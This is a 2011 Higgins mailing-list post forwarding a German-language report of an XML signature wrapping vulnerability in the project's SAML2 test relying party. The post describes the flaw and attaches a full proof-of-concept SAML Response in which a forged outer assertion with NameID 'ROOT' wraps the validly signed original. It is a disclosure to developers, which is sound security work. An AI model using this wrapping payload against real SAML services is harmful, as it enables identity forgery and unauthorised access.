Skip to main content

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index] [List Home]
[higgins-dev] vulnerability in SAML2 test relying party

Hello Higgins list,

I am forwarding this information in German regarding a bug in the Higgins SAML2 test RP (org.eclipse.higgins.saml2.test).

It says that the code is vulnerable to an XML signature wrapping attack, which means that the test RP can be made to accept any arbitrary assertion by including the original assertion and XML signature at a deeper level in the XML tree. The test RP will then successfully validate the XML signature of the "inner" assertion, but use the data from the arbitrary "outer" assertion.

My understanding is that this bug only affects the test RP (higgins.saml2idp.test), not the IdP (higgins.saml2idp.server).

I don't have time right now to fix this myself, but I have asked Andreas if he might be able to provide a patch.

Markus

---------- Forwarded message ----------
From: Mayer, Andreas <Andreas.Mayer@xxxxxxxxxx>
Date: 2011/4/24
Subject: Schwachstelle in Higgins SAML 2 IDP/RP
To: "markus.sabadello@xxxxxxxxx" <markus.sabadello@xxxxxxxxx>


Hallo Markus,

ich habe mich mit der Higgins SAML 2 IDP/RP Implementierung beschäftigt, die mir sehr gut gefällt.
Bei meinen Tests habe ich endeckt, dass eine schwerwiegende Schwachstelle im Service Provider enthalten ist.
Über einen sogenannten XML Signature Wrapping Angriff ist es möglich Assertions beliebig zu verändern, ohne dass die zugehörige XML Signature ungültig wird. Ich habe dir eine SAML Response als Beispiel angehängt, um das Problem zu verdeutlichen. Bei dem Angriff wird die Assertion noch einmal als Kopie in der Orginal-Assertion eingefügt. Bei der äußeren Assertion wird die ID abgeändert ("123"), die NameID auf "ROOT" gesetzt und die komplette ds:Signature entfernt. Zur Verifikation sucht der Service Provider nach der "ds:Signature" und überprüft nur die Orginal-Assertion innerhalb der Assertion. Da es hier keine Veränderung gab, ist die Verifikation erfolgreich. Die Anwendungslogik dagegen entnimmt die Werte der äußeren, modifizierten Assertion. Ein Angreifer kann also eine Assertion beliebig verändern, ohne dass die ds:Signature Prüfung fehlschlägt. Der Angriff kann in vielen weiteren Varianten durchgeführt werden. Falls du weitere Fragen hast, kannst du dich gerne bei mir melden.

Viele Grüße nach Wien,

Andreas



<?xml version="1.0" encoding="utf-8"?>
<samlp:Response ID="fboiekjjmaeplahkokahlgipbhcidffpjjgddhgi" InResponseTo="jinjhckibmdkfjmlnpimbjbnbbkkphlfdbkdbjga" IssueInstant="2011-04-09T18:22:10.238Z" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
  <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">graceland.parityinc.net</saml:Issuer>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
  </samlp:Status>
  <saml:Assertion ID="123" IssueInstant="2011-04-09T18:22:10.238Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
    <saml:Issuer>graceland.parityinc.net</saml:Issuer>
    <saml:Subject xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
      <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">ROOT</saml:NameID>
      <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml:SubjectConfirmationData InResponseTo="jinjhckibmdkfjmlnpimbjbnbbkkphlfdbkdbjga" NotOnOrAfter="2011-04-10T18:22:10.238Z" Recipient="http://localhost:8080/saml2idp.server.test/SAMLEndpoint"; xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" />
      </saml:SubjectConfirmation>
    </saml:Subject>
    <saml:Conditions NotBefore="2011-04-09T18:22:10.238Z" NotOnOrAfter="2011-04-10T18:22:10.238Z">
      <saml:AudienceRestriction>
        <saml:Audience>http://localhost:8080/saml2idp.server.test/SAMLEndpoint</saml:Audience>
      </saml:AudienceRestriction>
    </saml:Conditions>
    <saml:AuthnStatement AuthnInstant="2011-04-09T18:22:10.238Z" SessionIndex="eniinckmcbhdofdccaloknmnnpdnlcmhllijnkoe" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
      <saml:AuthnContext>
        <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
      </saml:AuthnContext>
    </saml:AuthnStatement>
    <saml:Assertion ID="eniinckmcbhdofdccaloknmnnpdnlcmhllijnkoe" IssueInstant="2011-04-09T18:22:10.238Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
      <saml:Issuer>graceland.parityinc.net</saml:Issuer>
      <Signature xmlns="http://www.w3.org/2000/09/xmldsig#";>
        <SignedInfo>
          <CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315#WithComments"; />
          <SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#dsa-sha1"; />
          <Reference URI="#eniinckmcbhdofdccaloknmnnpdnlcmhllijnkoe">
            <Transforms>
              <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"; />
            </Transforms>
            <DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"; />
            <DigestValue>bJNZB4ulIe+IJNyHabBX4IbUSkc=</DigestValue>
          </Reference>
        </SignedInfo>
        <SignatureValue>JBWetXpcqjLpYXS5KpYO4J6ZEQKFk8wpnkorDgwll8zGTx0wYlThUw==</SignatureValue>
        <KeyInfo>
          <X509Data>
            <X509Certificate>MIID3DCCA5ygAwIBAgIJAKV7na9zMHlIMAkGByqGSM44BAMwgakxCzAJBgNVBAYTAkFUMRMwEQYD
VQQIEwpTb21lLVN0YXRlMQ8wDQYDVQQHEwZWaWVubmExHjAcBgNVBAoTFVBhcml0eSBDb21tdW5p
Y2F0aW9uczEQMA4GA1UECxMHSGlnZ2luczEZMBcGA1UEAxMQTWFya3VzIFNhYmFkZWxsbzEnMCUG
CSqGSIb3DQEJARYYbXNhYmFkZWxsb0BwYXJpdHlpbmMubmV0MB4XDTA3MTEwNDA2NTQwM1oXDTEw
MTEwMzA2NTQwM1owgakx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Subject xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
        <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">user.0</saml:NameID>
        <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
          <saml:SubjectConfirmationData InResponseTo="jinjhckibmdkfjmlnpimbjbnbbkkphlfdbkdbjga" NotOnOrAfter="2011-04-10T18:22:10.238Z" Recipient="http://localhost:8080/saml2idp.server.test/SAMLEndpoint"; xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" />
        </saml:SubjectConfirmation>
      </saml:Subject>
      <saml:Conditions NotBefore="2011-04-09T18:22:10.238Z" NotOnOrAfter="2011-04-10T18:22:10.238Z">
        <saml:AudienceRestriction>
          <saml:Audience>http://localhost:8080/saml2idp.server.test/SAMLEndpoint</saml:Audience>
        </saml:AudienceRestriction>
      </saml:Conditions>
      <saml:AuthnStatement AuthnInstant="2011-04-09T18:22:10.238Z" SessionIndex="eniinckmcbhdofdccaloknmnnpdnlcmhllijnkoe" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
        <saml:AuthnContext>
          <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
        </saml:AuthnContext>
      </saml:AuthnStatement>
    </saml:Assertion>
  </saml:Assertion>
</samlp:Response>

Back to the top